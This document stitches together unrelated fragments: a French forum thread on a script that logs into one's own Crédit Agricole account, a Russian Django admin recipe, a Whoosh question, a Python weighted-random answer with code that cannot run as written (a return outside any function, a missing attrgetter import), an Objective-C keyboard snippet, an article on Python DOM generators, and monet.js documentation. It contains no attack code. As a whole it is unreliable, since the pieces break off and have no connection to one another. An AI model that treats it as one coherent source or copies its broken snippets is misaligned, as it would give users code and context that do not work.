#exemple basique d'utilisation:
if __name__ == '__main__':
sCompte = raw_input('Votre numéro de compte :')
sCode = raw_input('Votre code secret :')
myCA=HackCA(sCompte,sCode)
sPage=myCA.getPageLogin()
sPage=myCA.getPageLogged(sPage)
print myCA.getBalance(sPage)
Bien entendu, ce code est librement utilisable/modifiable par quiconque.
Bonne journée
[edit du 6dec]Ajout de la saisie utilisateur du numéro de compte/mot de passe au lieu d'etre en dur dans le fichier.
[edit 2 ans plus tard ]Le code est désormais hébergé sur github a cette adresse: http://github.com/bmispelon/pyCA.
Dernière modification par Halike (Le 07/03/2010, à 17:20)
Hors ligne
Ras'
Re : [script/python] accéder à son compte crédit agricole
Ca peut être sympa, je regarde souvent mon compte et même si le site est pas si pire, c'est toujours améliorable
J'vais juste attendre que quelqu'un vérifie ça... on joue pas avec nimporte quelle données là ...
EDIT : en même temps je m'arrête rarement au solde de mes comptes donc ça me servirais pas trop, le dl automatique de l'historique d'un compte choisi en .xls serait interessant
Mais je comprend que ce soit pas évident...
en tout cas c'est une bonne idée si la sécurité est au rendez vous
Dernière modification par Raskal (Le 06/12/2007, à 13:43)
Va t'faire shampouiner en GMT-4 !
http://blag.xserver-x.org/
Les types awesome n'ont rien à prouver. À personne.
Hors ligne
Halike
Re : [script/python] accéder à son compte crédit agricole
Faut juste penser à mettre le script en mode 600 (lisible par l'utilisateur seulement), à cause du mot de passe en clair utilisé dedans.
Ah oui.J'avais pas pensé à ca.
Ca serait surement plus sécurisé de demander le numéro de compte et le code secret pendant l'execution.
Je vais essayer de modifier le rogramme en conséquence.
Hors ligne
trucutu
Re : [script/python] accéder à son compte crédit agricole
En vrac :
- Utiliser des docstrings sur les définitions de fonctions plutà´t que des commentaires.
- Les noms de variables / fonctions en minuscules avec '_' plutà´t que capitalisées.
Bref, un petit coup de pylint serait un plus...
Hors ligne
Halike
Re : [script/python] accéder à son compte crédit agricole
En vrac :
- Utiliser des docstrings sur les définitions de fonctions plutà´t que des commentaires.
- Les noms de variables / fonctions en minuscules avec '_' plutà´t que capitalisées.
Bref, un petit coup de pylint serait un plus...
Merci pour la remarque constructive . Ca m'a permis de découvrir pylint.
Ca ne fonctionne pas pour moi, ça me retourne : []
Dommage
Arf. Je ne vois pas trop comment réparer ça.
Il va falloir que tu me donnes ton numéro de compte, ainsi que ton code secret
(C'est une blague, je précise. On ne sait jamais... ).
Je vais essayer de rajouter une gestion d'erreurs, ca permettra peut etre de localiser un peu mieux le probleme.
Enfin, je me posais des questions quant à la sécurité du programme.
Lorsqu'on saisit des informations dans le programme (grace a la fonction raw_input), sont elles sauvegardées en clair dans un quelconque fichier log? Si c'est le cas, ca pourrait etre une faille.
Au niveau de la communication réseau, la communication avec le serveur de la banque est-elle sécurisée? J'ai l'impression que oui, puisque ce script ne fait qu'immiter le comportement d'un utilisateur sur le site de la banque, et que la connexion utilise le protocole https.
Cependant, je ne suis pas un expert, donc il est tout a fait possible que je me plante complètement.
Si quelqu'un a un avis la dessus, je serais ravi de l'entendre .
Hors ligne
atlas95
Re : [script/python] accéder à son compte crédit agricole
Quoi de neuf sur ce script ? Il fonctionne désormais ? J'obtiens toujours des []
Dernière modification par atlas95 (Le 06/05/2008, à 12:04)
Hors ligne
marc31
Re : [script/python] accéder à son compte crédit agricole
bonjour,
je suis en train de porter le script sur PHP en actualisant le fonctionnement. Il se trouve que bien des choses dans l'interface HTML n'ont guère changé.
- J'en suis à la partie connexion,
- la décodage du pavé numérique est OK,
- je coince dans le formulaire de connexion qui suit la saisie du code ; ca me retourne une erreur technique ; sans doute que je n'envoie pas tout à fait les bons champs. J'utilise Firebug pour déverminer tout le process.
je constate qu'il y a peu de développements sur le sujet. Une interface un peu plus propre, voir standardisée, basée sur XML, REST ou SOAP serait très intéressante.
Si d'autres personnes sont intéressées par la problématique crédit-agricole, qu'elles se signalent ici. Des que mon script fonctionnera, si j'ai un peu de chance, je créerai un nouveau sujet.
Bon, ben, cette fois, j'arrive bien à me connecter au site. Reste plus qu'a implémenter les différentes actions. Mais avant, je vais nettoyer un peu mon code et mettre le tout sous forme de classes. Pour ma part, je m'intéresse principalement au téléchargement des relevés au format OCX. Je vais donc éviter de passer mon temps à implémenter toutes les fonctions.
Dernière modification par marc31 (Le 07/03/2010, à 16:12)
ubuntu-gutsy / ATI RC410 [Radeon Xpress 200] + Nvidia GeForce 7300 SE / wireless RaLink RT2500 / toulouse-ouest / xmpp://marc.quinton@jabber.org
Hors ligne
Halike
Re : [script/python] accéder à son compte crédit agricole
Salut,
C'est avec une pointe de nostalgie que je retrouve ce post .
Entre temps, j'ai un peu progressé en python et il se trouve que j'ai mis le code un peu a jour récemment.
J'en héberge une copie sur http://github.com/bmispelon/pyCA pour ceux que ca intéresse toujours.
Concernant le debuggage, je serais ravi d'aider ceux qui ont des soucis avec ce script mais vu la sensibilité des données qui entrent en jeu, ce n'est pas évident.
L'idéal serait d'avoir acces au code HTML qui pose probleme mais il faudrait surement l'anonymiser avant de le publier et je ne sais pas trop comment approcher cette problématique.
Si tu veux de l'aide avec ton implémentation en PHP, n'hésite pas á me contacter: j'ai moi aussi passé un peu de temps avec firebug a inspecter le code html et javascript (qui au passage n'est pas joli-joli).
Concernant tes désirs d'interface plus standardisée, je ne peux qu'etre d'accord la dessus.
Mais au moins au credit agricole il se contente de HTML+JS: deux langages standards et ouverts.
J'ai ouvert l'année derniere un compte chez une autre banque et pour me connecter, je recoit un code par SMS que je dois rentrer sur le site, ce qui m'empeche toute automatisation du processus (enfin a moins de réussir a récupérer les SMS sur mon portable de facon non interractive, ce qui n'est pas encore gagné ).
Hors ligne
marc31
Re : [script/python] accéder à son compte crédit agricole
Halike, merci pour ta gentille réponse.
Est-ce que tu as réussi à réaliser des téléchargements ? j'ai regardé via Firefox, je crois qu'on est pas pret d'avoir le téléchargement automatique, mais bon ...
Concernant l'avancement de mon projet, je suis en train de remettre tout remettre d'équerre ; voici la partie principale :
<?php
error_reporting(E_ALL);
include_once('lib/utils.php');
include_once('lib/CURL.php');
include_once('lib/Bank.php');
include_once('lib/BankCreditAgricole.php');
$config_file = sprintf('%s/.config/credit-agricole.cfg', getenv('HOME'));
if(!@file_exists())
include_once("$config_file");
else
$accounts = array(
'ldd-tine' => new BankAccount('account1', '09876543210', '123456'),
'ldd-manu' => new BankAccount('account2', '12345678901', '654321'),
);
$curl = new CURL();
$curl->set_user_agent('Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.1.8) Gecko/20100214 Ubuntu/9.10 (karmic) Firefox/3.5.8');
# $curl->set_proxy('localhost', 8900);
$bank = new BankCreditAgricole($curl, $accounts['ldd-manu']);
$bank->connect();
$bank->download_file();
$bank->disconnect();
?>
et mes classes génériques :
<?php
class BankAccount{
public $name;
public $account;
public $login;
public $password;
public function __construct($name, $account, $password, $login=null){
$this->name = $name; # short name or description
$this->account = $account; # account number
$this->password = $password; # password for this account to connect to
# if login == null, use account directly to connect to.
if($login == null)
$this->login = $account;
else
$this->login = $login;
}
}
# mainly a virtual class.
class Bank{
private $account;
private $curl;
public function __construct($curl, $account){
$this->curl = $curl;
$this->account = $account;
}
public function connect(){
}
public function disconnect(){
}
public function change_password(){
}
public function download_file(){
}
}
?>
ubuntu-gutsy / ATI RC410 [Radeon Xpress 200] + Nvidia GeForce 7300 SE / wireless RaLink RT2500 / toulouse-ouest / xmpp://marc.quinton@jabber.org
Hors ligne
marc31
Re : [script/python] accéder à son compte crédit agricole
bonne nouvelle concernant ton script python ; la connexion fonctionne, modulo le changement de quelques URL liée à ma banque; je pense qu'on pourrait échanger par mail ou messagerie instantanée a ce sujet. Tu peux me contacter sur mquinton AT googlemail.com (messagerie et tchat).
Le crédit agricole est organisée en banques régionales. Il semble que la facade internet soit partagée, mais, il est nécessaire de charger quelques variables via l'URL de la banque d'origine ; il est donc nécessaire d'adapter un tout petit peu ton script.
Je suis dispo pour cela.
ubuntu-gutsy / ATI RC410 [Radeon Xpress 200] + Nvidia GeForce 7300 SE / wireless RaLink RT2500 / toulouse-ouest / xmpp://marc.quinton@jabber.org
Hors ligne
marc31
Re : [script/python] accéder à son compte crédit agricole
en cherchant sur votre moteur de recherche : online banking API, on trouve des choses intéressantes.
Il y a aussi des interfaces standardisées :
- http://www.worldlingo.com/ma/enwiki/fr/HBCI (Home Banking Computer Interface)
- http://www.exalog.com/?id=Qu-est-ce-qu-EBICS (Electronic Banking Internet Communication Standard)
- http://en.wikipedia.org/wiki/FinTS (Financial Transaction Services)
- http://fr.wikipedia.org/wiki/Society_for_Worldwide_Interbank_Financial_Telecommunication
- http://fr.wikipedia.org/wiki/ETEBAC - Échange télématique banque-clients
depuis apt :
- aqbanking-tools - Utilitaires de base en ligne de commande pour la gestion bancaire
- qbankmanager - online banking program with graphical interface
- libaqhbci16 - library for HBCI online banking
- libaqbanking29 - library for online banking applications
En france :
- http://fr.wikipedia.org/wiki/Comit%C3%A9_fran%C3%A7ais_d%27organisation_et_de_normalisation_bancaires
- http://www.cfonb.org/
- La BNP : http://entreprises.bnpparibas.fr/CashManagementBox, http://entreprises.bnpparibas.fr/Nos-solutions/Gestion-des-flux/Realiser-vos-operations-a-distance/Teletransmission/Ebics#
et ailleurs :
- http://wiki.gnucash.org/wiki/OFX_Direct_Connect_Bank_Settings
Reste a trouver quelles banques supporte ces formats et selon quelles modalités (cout, abonnement ?)
Dernière modification par marc31 (Le 07/03/2010, à 22:32)
ubuntu-gutsy / ATI RC410 [Radeon Xpress 200] + Nvidia GeForce 7300 SE / wireless RaLink RT2500 / toulouse-ouest / xmpp://marc.quinton@jabber.org
Hors ligne
marc31
Re : [script/python] accéder à son compte crédit agricole
en attendant, on pourra se contenter de imacros : http://wiki.imacros.net/iMacros_for_Firefox
J'ai testé, ca marche très bien sur la banque Crédit-Agricole. Ca doit aussi marcher ailleurs. Pour les adeptes du scripting, il y a une alternative : http://en.wikipedia.org/wiki/Chickenfoot_%28software%29 ; Il y a aussi DejaClick. Dans un autre ordre d'idée, on peut regarder du coté de http://doc.ubuntu-fr.org/gui_scripts, je pense en particulier à autokey.
Dernière modification par marc31 (Le 11/03/2010, à 14:13)
ubuntu-gutsy / ATI RC410 [Radeon Xpress 200] + Nvidia GeForce 7300 SE / wireless RaLink RT2500 / toulouse-ouest / xmpp://marc.quinton@jabber.org
Hors ligne
marc31
Re : [script/python] accéder à son compte crédit agricole
je dispose d'une version utilisable pour réaliser un téléchargement du compte courant banque crédit agricole, région Toulousaine. La sortie se fait au format CSV.
Les opérations supportées sont :
- connexion, déconnexion,
- synthèse des comptes,
- visualisation et export au format CSV du compte courant.
La configuration est réalisée dans $HOME/.config/credit-agricole.cfg.
Je peux fournir le script, et la doc (diagramme des classes) sur demande. L'adaptation aux autres caisses du crédit agricole nécessite un peu de travail. Je pense qu'il s'agit généralement d'un simple copier-coler.
L'adaptation aux autres banques est certainement possible. je dispose d'un compte sur Credit-Mutuel et Caisse d'Epargne.
L'extraction HTML est globalement réalisée avec cette magnifique classe : http://simplehtmldom.sourceforge.net/
Je recherche donc des béta-testeurs, de préférence disposant d'un compte sur la même banque.
Dernière modification par marc31 (Le 19/03/2010, à 22:33)
ubuntu-gutsy / ATI RC410 [Radeon Xpress 200] + Nvidia GeForce 7300 SE / wireless RaLink RT2500 / toulouse-ouest / xmpp://marc.quinton@jabber.org
Hors ligne
marc31
Re : [script/python] accéder à son compte crédit agricole
je viens d'apprendre la connaissance d'un autre logiciel destiné à la lecture et téléchargement de sites bancaires : http://weboob.org/ ; je n'ai pas pris le temps d'essayer ; en théorie, supporte: BNP, Poste, CA,
ubuntu-gutsy / ATI RC410 [Radeon Xpress 200] + Nvidia GeForce 7300 SE / wireless RaLink RT2500 / toulouse-ouest / xmpp://marc.quinton@jabber.org
Hors ligne
sputnick
Re : [script/python] accéder à son compte crédit agricole
Pour LCL particuliers j'ai dev ça en perl : http://linuxfr.org/forums/41/29258.html
bashfr.org(random);
<arciks1994> dou tu connai qel age j'ai ?
Hors ligne
liberio
Re : [script/python] accéder à son compte crédit agricole
Bonjour à tous,
Je cherche également à récupérer les données du site Crédit Agricole et vos scripts m'intéressent.
Marc31, où en es-tu dans la conception de ton projet PHP ?
Halike et Marc31, vos scripts permettent-ils d'intégrer les données dans un logiciel comme GnuCash ?
Merci en tout cas de partager votre savoir faire, j'apprécie.
Dernière modification par liberio (Le 14/02/2014, à 14:24)
Hors ligne
marc31
Re : [script/python] accéder à son compte crédit agricole
pour Liberio : je ne maintiens plus ces scripts PHP qui sont certainement maintenant obsoletes. J'aurai tendance à m'orienter vers Weboob. D'autre part je suis passé au langage ruby.
ubuntu-gutsy / ATI RC410 [Radeon Xpress 200] + Nvidia GeForce 7300 SE / wireless RaLink RT2500 / toulouse-ouest / xmpp://marc.quinton@jabber.org
Hors ligne
|
Когда моделей становится много появляется необходимость знать о моделях несколько больше информации, чем представлено на стандартном списке интерфейса администратора.
Можно добавить к каждой модели текстовую строку, которая будет буквально рассказывать о назначении соответствующей модели.
Логично реализовать вывод текста с помощью собственного шаблонного тега. Для этого создаём в приложении каталог templatetags, в котором размещаем модуль шаблонного тега:
from django import template
from django.db.models import get_model
register = template.Library()
@register.simple_tag
def model_desc(url, app_name=None):
values = url.split('/')
if len(values) > 2: # project mode
model_name = values[1]
else: # application mode
model_name = values[0]
return getattr(get_model(app_name, model_name), 'model_desc', '')
Проверка на количество значений в списке после split() помогает определиться с текущим режимом отображения списка приложения: это главная страница со списком моделей всех приложений или это страница с моделями одного приложения.
Данный тег надо вставить в шаблон интерфейса администратора. Для этого копируем шаблон django/contrib/admin/templates/admin/index.html в template/admin. Приведу diff правок:
--- index.html.orig 2009-05-29 22:51:50.000000000 +0400
+++ index.html 2010-10-19 19:40:48.000000000 +0400
@@ -1,5 +1,6 @@
{% extends "admin/base_site.html" %}
{% load i18n %}
+{% load model_desc %} {# my tag, check source code #}
{% block extrastyle %}{{ block.super }}<link rel="stylesheet" type="text/css" href="{% load adminmedia %}{% admin_media_prefix %}css/dashboard.css" />{% endblock %}
@@ -16,14 +17,23 @@
{% for app in app_list %}
<div class="module">
<table summary="{% blocktrans with app.name as name %}Models available in the {{ name }} application.{% endblocktrans %}">
- <caption><a href="{{ app.app_url }}" class="section">{% blocktrans with app.name as name %}{{ name }}{% endblocktrans %}</a></caption>
+ <caption><a href="{{ app.app_url }}" class="section">{{ app.name }}</a></caption>
{% for model in app.models %}
<tr>
- {% if model.perms.change %}
- <th scope="row"><a href="{{ model.admin_url }}">{{ model.name }}</a></th>
- {% else %}
- <th scope="row">{{ model.name }}</th>
- {% endif %}
+ <th scope="row">
+ <div>
+ {% if model.perms.change %}
+ <a href="{{ model.admin_url }}">{{ model.name }}</a>
+ {% else %}
+ {{ model.name }}
+ {% endif %}
+ </div>
+
+ <div style="font-size:75%;">
+ {% model_desc model.admin_url app.name.lower %}
+ </div>
+ </th>
+
{% if model.perms.add %}
<td><a href="{{ model.admin_url }}add/" class="addlink">{% trans 'Add' %}</a></td>
Как видите, мы передаём в созданный тег url и имя приложения.
Пример описания стандартных моделей:
# admin.py
from django.contrib.auth.admin import UserAdmin
from django.contrib.auth.models import User as UserModel, Group as GroupModel
class __User(UserAdmin):
list_display = ('username', 'group_list', 'last_name', 'first_name', 'email', 'is_staff', 'is_active')
def group_list(self, obj):
return ','.join(g.name for g in obj.groups.all())
group_list.short_description = _(u'Groups')
admin.site.unregister(UserModel)
admin.site.register(UserModel, __User)
UserModel.model_desc = _(u'Users of this system.')
GroupModel.model_desc = _(u'User groups of this system.')
Обратите внимание на последние строки.
Вот так будет выглядеть интерфейс после применения описанных действий.
Discuss this recipe
|
i use whoosh for full text search ,
and i want to know : how to get all 'index data' that be added.
this is my main.py:
import cgi,os
from google.appengine.ext import webapp
from google.appengine.ext.webapp import template
from google.appengine.ext.webapp.util import run_wsgi_app
from whoosh import store
from whoosh.fields import Schema, STORED, ID, KEYWORD, TEXT
from whoosh.index import getdatastoreindex
from whoosh.qparser import QueryParser, MultifieldParser
import logging
SEARCHSCHEMA = Schema(content=TEXT(stored=True))
class BaseRequestHandler(webapp.RequestHandler):
def render_template(self, filename, template_args=None):
if not template_args:
template_args = {}
path = os.path.join(os.path.dirname(__file__), 'templates', filename)
self.response.out.write(template.render(path, template_args))
class MainPage(BaseRequestHandler):
def get(self):
self.render_template('index.html')
class SearchPage(BaseRequestHandler):
def get(self):
ix = getdatastoreindex("hello", schema=SEARCHSCHEMA)
parser = QueryParser("content", schema = ix.schema)
q = parser.parse(self.request.get('query'))
results = ix.searcher().search(q)
a=''
for result in results:
a+=('<blockquote>%s</blockquote>' %
cgi.escape(result['content']))
all=ix.schema
self.render_template('index.html',{'results':a,'all':all})
class Guestbook(BaseRequestHandler):
def post(self):
ix = getdatastoreindex("hello", schema=SEARCHSCHEMA)
writer = ix.writer()
writer.add_document(content=u"%s" % self.request.get('content'))
writer.commit()
self.redirect('/')
application = webapp.WSGIApplication(
[('/', MainPage),
('/search', SearchPage),
('/sign', Guestbook)],
debug=True)
def main():
run_wsgi_app(application)
if __name__ == "__main__":
main()
and my index.html is :
<form action="/search" method="get">
<div><input name="query" type="text" value=""><input type="submit" value="Search"></div>
</form>
<form action="/sign" method="post">
<div><textarea name="content" rows="3" cols="60"></textarea></div>
<div><input type="submit" value="Sign Guestbook"></div>
</form>
{{results}}
all data:
{{all}}
{% for i in all%}
{{i}}
{%endfor%}
|
Sure, that's quite simple to do.
Just take the sum of both dominance values and take a random.randrange() value of these.
If that value is lower than the dominance value of parent A, you picked that parent's trait, otherwise it's parent B's trait you picked:
import random
if random.randrange(parentA.dominance + parentB.dominance) < parentA.dominance:
trait = parentA.trait
else:
trait = parentB.trait
In other words, it's a very simple weighted random selection between two options.
For your specific example, the sum of the dominances is 9, so the randrange() value is one between 0 and 8; if 0 or 1 is picked, parent A's trait is selected, if 2, 3, 4, 5, 6, 7 or 8 is picked then parent B's trait is selected instead.
If instead you are talking about picking a trait on a range from parent A's trait value up to and including parent B's trait value where traits are treated as a range, then your dominance values are used to 'pull' a trait value towards one or the other parent.
It basically comes down to a tug-of-war between the parents. With balanced dominance, the trait picked would, on average, come down to the average value of the two traits. But with one parent dominating over the other, the trait value picked 'shifts' towards the dominating parent.
This translates in a chance that the values below the midpoint are picked for parent A have a chance of parentA.dominance in (parentA.dominance + parentB.dominance), while the values above the midpoint have a chance of parentB.dominance in (parentA.dominance + parentB.dominance) of being picked.
import random
pick = random.random()
# sort parents by trait; smallest trait first
parents = sorted((parentA, parentB), key=attrgetter('trait'))
average = (parents[0].trait + parents[1].trait) / 2.0
weights = []
slots = (parents[1].trait - parents[0].trait + 1.0) * (parents[0].dominance + parents[1].dominance)
for i in range(parents[0].trait, parents[1].trait + 1):
if i <= average:
weights.append(sum(weights) + (parents[0].dominance / slots))
else:
weights.append(sum(weights) + (parents[1].dominance / slots))
if weights[-1] > pick:
return i
A quick demo picking traits between parent A and parent B using the above calculation:
>>> for i in range(40): print pickTrait(),
...
9 9 9 10 6 9 8 10 7 9 9 8 8 8 9 8 9 9 7 5 8 8 9 5 9 9 10 10 10 10 5 5 9 9 8 9 10 7 8 9
|
Thank you so much for this; it works great. However, the code as presented has 2 limitations as I experienced them:
1) The view being repositioned simply slides up out of the screen rather than resizing to fit the space available after the keyboard appears
2) Repeat notifications due to switching text fields continue to apply the frame change, causing the view to incrementally fly off the screen.
The cause is that the above is a reposition relative to the view's current frame rather than a resize relative to the keyboard. Here are two amended lines of code which fix this:
In liftMainViewWhenKeybordAppears:, resize rather than reposition, relative to the keyboard:
keyboardFrame = [self.view.window convertRect:keyboardFrame toView:self.view.superview];
CGRect superviewFrame = [self.view.window convertRect:self.view.superview.frame toView:self.view];
[self.view setFrame:CGRectMake(self.view.frame.origin.x,
self.view.frame.origin.y,
self.view.frame.size.width,
superviewFrame.size.height - keyboardFrame.size.height)];
In returnMainViewToInitialposition:, change the animation to this setFrame: (essentially akin to the identity transform).
[self.view setFrame:CGRectMake(self.view.frame.origin.x,
self.view.frame.origin.y,
self.view.frame.size.width,
keyboardFrame.origin.y + keyboardFrame.size.height)];
|
Generating DOM Magic
Python 2.2 introduced generators, a special type of function which has more flexible flow-of-control than ordinary, procedural functions. Standard procedural functions start at the top and execute until returning to the caller, maintaining all along a local state for the subroutine (which comprises local variables and passed-in parameters). The function can have multiple return points, but for each invocation, it runs until a single return, and its local state then becomes unavailable. Generators, by contrast, can send control back to the caller and yet remain in a sort of suspended animation, maintaining local state. Such a temporary return is called "yielding". The caller can then revive the generator at any time, at which point operation continues until the next yield or until a final return.
Generators, as they appeared in Python 2.2, were born in Christian Tismer's Stackless Python as a feature made practical by continuations, the core construct of Stackless. Generators are especially suited to efficient operation on tree structures, which are, of course, the natural structure for XML processing. In this article I present examples and techniques for using generators for XML processing. If you're not already familiar with Python generators, you should read " Iterators and simple generators", by David Mertz. Since this article builds on a previous one of mine, " Streamlining DOM XML processing with Python", I recommend that all readers review it before continuing. At the end of this article there are some resources which will help you acquire other relevant background knowledge.
Implementing a DOM classic
Listing 1 presents two functions for iterating over all the nodes in a DOM tree in document order, both of which were introduced in "Streamlining DOM XML processing with Python".
Listing 1: generators for filtered or unfiltered iteration over a DOM tree
#Required in Python 2.2, and must be the first import
from __future__ import generators
from xml.dom import Node
def doc_order_iter(node):
"""
Iterates over each node in document order,
yielding each in turn, starting with the given node
node - the starting point
(subtree rooted at node will be iterated over document order)
"""
#Document order returns the current node,
#then each of its children in turn
yield node
for child in node.childNodes:
#Create a generator for each child,
#Over which to iterate
for cn in doc_order_iter(child):
yield cn
return
def doc_order_iter_filter(node, filter_func):
"""
Iterates over each node in document order,
applying the filter function to each in turn,
starting with the given node, and yielding each node in
cases where the filter function computes true
node - the starting point
(subtree rooted at node will be iterated over document order)
filter_func - a callable object taking a node and returning
true or false
"""
if filter_func(node):
yield node
for child in node.childNodes:
for cn in doc_order_iter_filter(child, filter_func):
yield cn
return
With these generators in hand we can build several other useful functions simply and easily -- functions which will perform well, too. Users of the 4Suite Domlettes sometimes complain that they do not include the handy DOM utility methods getElementsByTagName and getElementsByTagNameNS. In fact, I warned about this omission in my last article A Python & XML Companion. There are so many trivial ways to implement these as functions, but I think the best is using the generator-iterators, as in listing 2. The generator functions presented here will work with any Python DOM implementation which conforms to the published API of xml.dom.Node in standard library reference.
def get_elements_by_tag_name(node, name):
"""
Returns an iterator (in document order) over all the element nodes
that are descendants of the given one, and have the given tag name.
y node will be returned if it has the right name
name - the node name to check
"""
return doc_order_iter_filter(node, lambda n: n.nodeType == \
Node.ELEMENT_NODE and n.nodeName == name)
def get_elements_by_tag_name_ns(node, ns, local):
"""
Returns an iterator (in document order) over all the element nodes
that are descendants of the given one, and have the given namespace
and local name.
node - the starting point (subtree rooted at node will be searched)
node will be returned if it has the right ns and local name
ns - the namespace to check
local - the local name to check
"""
return doc_order_iter_filter(node, lambda n: n.nodeType == \
Node.ELEMENT_NODE and n.namespaceURI == ns and n.localName == local)
get_elements_by_tag_name uses the filtered iterator, filtering by the criteria that the node is an element and that its node name matches the one given. get_elements_by_tag_name_ns is a namespace-aware variation, which takes the namespace and local name for the comparison. The following snippet illustrates their operation by printing all element nodes named "line" (with no namespace) in a document.
DOC = """<?xml version='1.0' encoding='iso-8859-1'?>
<verse>
<attribution>Louis MacNeice</attribution>
<line>The Laird o' Phelps spent Hogmanay declaring he was sober,</line>
<line>Counted his feet to prove the fact and found he had one foot over.</line>
<line>Mrs. Carmichael had her fifth, looked at the job with repulsion,</line>
<line>Said to the midwife "Take it away; I'm through with overproduction."</line>
</verse>
"""
from Ft.Xml.Domlette import NonvalidatingReader
doc = NonvalidatingReader.parseString(DOC, "http://dummy.ns")
print "Get elements by tag name:"
for node in get_elements_by_tag_name(doc, 'line'):
print node
print "Get elements by tag name ns:"
for node in get_elements_by_tag_name_ns(doc, None, 'line'):
print node
I use None to represent "no namespace" when I invoke get_elements_by_tag_name_ns. Don't forget this important Python-XML convention. When I posted this generator-based method of writing a getElementsByTagName implementation, my colleague Mike Olson followed up with an XPath approach, presented in listing 3.
from Ft.Xml.XPath import Evaluate, Context
from Ft.Xml.Domlette import GetAllNs
def get_elements_by_tag_name_ns_xpath(node, name):
#I need the context node and a set of namespace mappings
#In case they use a QName for name e.g. ns:local
#Use the dictionary of all namespace mappings on the given node
context = Context.Context(node, GetAllNs(node))
#Now do an XPath evaluation of an expression that searches
#The descendant-or-self axis for all nodes whose name
#matches the given
return Evaluate(".//" + name, context=context)
This approach has some advantages. For one thing, you can pass a qualified name (QName) to this function if you want to check within a given namespace, rather than separately passing in the namespace URI and local name. Therefore, if you are looking for all elements with namespace URI http://spam.com and local name eggs, and the prefix sp is bound to that namespace URI in the source document, then you can invoke get_elements_by_tag_name_ns_xpath(node, "sp:eggs") rather than the more verbose get_elements_by_tag_name_ns(node, "http://spam.com", "eggs"). Another advantage is that the function is a two-liner. One line is needed to capture the namespace mappings from the given node, and it so happens that, since 4Suite has been updated in CVS, this line will no longer be necessary and the following variation will work even given a QName.
def get_elements_by_tag_name_ns_xpath(node, name)
#The context= is no longer needed because we're passing in the node
#from which the context will be assumed
return Evaluate(".//" + name, node)
With 4Suite 0.12.0a3 and earlier versions, this function will fail with an "unknown prefix" exception if you pass in a QName. Anyway, the shorter version means that you needn't even make it a function. You can just write Evaluate(node, ".//sp:eggs") in-line wherever you need the function. A final advantage is that the XPath approach works with Python 2.1, which does not support generators. You can also write the function much the same way as with generators but using raw recursion. Listing 5 is an example of this approach.
def get_elements_by_tag_name_ns_raw(node, ns, local):
if node.nodeType == Node.ELEMENT_NODE and \
node.namespaceURI == ns and node.localName == local:
result = [node]
else:
result = []
for child in node.childNodes:
result.extend(get_elements_by_tag_name_ns_raw(child, ns, local))
return result
Pages:
|
Monet is a library designed to bring great power to your JavaScript programming. It is a tool bag that assists Functional Programming by providing a rich set of Monads and other useful functions.
While functional programming may be alien to you, this library is a simple way to introduce monads and pure functional programming into your daily practises.
The source is available at: https://github.com/cwmyers/monet.js.
Simply download and add to your html pages or we also support bower. You can also include monet-pimp.js which contains extra functions on the Object.prototype for creating monads.
<script type="text/javascript" src="monet.js"></script>
<!-- Optionally -->
<script type="text/javascript" src="monet-pimp.js"></script>
Using bower:
bower install monet
or to install a specific version
bower install monet#0.8.1
As you know JavaScript isn’t a strongly typed language. This kinda sucks. Types are a great help when it comes to functional programming as it makes the code more comprehensible and prevents a range of errors from being introduced.
Knowing the types of your functions and data is also important when writing documentation (such as this one), so we will invent some type annotations to make things more clear. We will only do this in the function definition and not in the concrete examples.
JavaScript doesn’t have generic types but it’s useful to know about them when dealing with Monads. For instance the List monad is a type that requires another type, such as a string or integer or some other type before it can be constructed. So you would have a List of Strings or a List of Integers or generically a List of As where A is a type you will supply. Now of course this is JavaScript and you can do as you please even though it doesn’t make sense. But to make things clearer (hopefully) we will attempt to do show generics or type parameters thusly:
List[A]
Which means a List of As. Though of course you will have to keep track of the types yourself.
function x(a: A, b: B): C
And functions on a Monadic type that has been constructed with A
Maybe[A].fromNull(a: A): Maybe[A]
For functions that take other functions as parameters (which are called Higher order functions) we will use an abbreviated way to represent that function using a pseudo type lambda:
A -> B
So,
function x(a: A -> B, c: B -> C): C
means that function x takes two parameters that are both functions themselves. a is a function that takes a type A and returns a type B and c is a function that takes a type B and returns a type C. The function x will return a type C.
Some functions (or lambdas) do not take a parameter, and some do not return anything. Will express this as:
() -> A
or
A -> ()
Everything that is a monad in will implement the following functions. The specific monads will be discussed in detail below.
Monad[A].bind(f: A -> Monad[B]): Monad[B]
Performs a monadic bind.
Monad[A].map(f: A -> B): Monad[B]
Monad.unit(A): Monad[A]
Monad[A].ap(m: Monad[A -> B]): Monad[B]
Monad[Monad[A]].join(): Monad[A]
The inner and outer monads are the same type.
Monad[A].takeLeft(m: Monad[B]): Monad[A]
Performs a combination of both monads and takes the left one.
For example:
Some(1).takeLeft(Some(2))
// result: Some(1)
Some(1).takeLeft(None())
// result: None
None().takeLeft(Some(3))
// result: None
Monad[A].takeRight(m: Monad[B]): Monad[B]
Performs a combination of both monads and takes the right one.
For example:
Some(1).takeRight(Some(2))
// result: Some(2)
Some(1).takeRight(None())
// result: None
None().takeRight(Some(2))
//result: None
The Maybe type is the most common way of representing nothingness (or the null type) with making the possibilities of NullPointer issues disappear.
Maybe is effectively abstract and has two concrete subtypes: Some (also Just) and None (also Nothing).
var maybe = Maybe.Some(val);
var maybe = Maybe.None();
var maybe = Maybe.fromNull(val); // none if val is null, some otherwise
or more simply with the pimped method on Object.
var maybe = "hello world".some()
var maybe = val.some()
Maybe[A].map(fn: A -> B) : Maybe[B]
map takes a function (A -> B) and applies that function to the value inside the Maybe and returns another Maybe.
For example:
Maybe.Some(123).map(function(val) {
return val+1
})
=> 124
Maybe[A].bind(fn: A -> Maybe[B]): Maybe[B]
bind takes a function that takes a value and returns an Maybe. The value to the function will be supplied from the Maybe you are binding on.
For example:
maybe.bind(function(val) {
if (val == "hi") {
return Maybe.Some("world")
} else {
return Maybe.None()
}
})
Maybe[A].isSome(): Boolean
isSome on a Some value will return true and will return false on a None.
For example:
Maybe.some("hi").isSome()
//result: true
Maybe[A].isNone(): Boolean
isNone on a None value will return true and will return false on a Some.
For example:
Maybe.none().isNone()
//result: true
Maybe[A].some(): A
some will ‘reduce’ the Maybe to its value. But warning! It will throw an error if you attempt to do this on a none. Use orSome instead.
For example:
Maybe.some("hi").some()
//result: "hi"
Maybe[A].orSome(a:A) : A
Will return the containing value inside the Maybe or return the supplied value.
maybe.some("hi").orSome("bye")
=> "hi"
Maybe.none().orSome("bye")
=> "bye"
Maybe[A].orElse(Maybe[A]): Maybe[A]
Returns the Maybe if it is a Some otherwise returns the supplied Maybe.
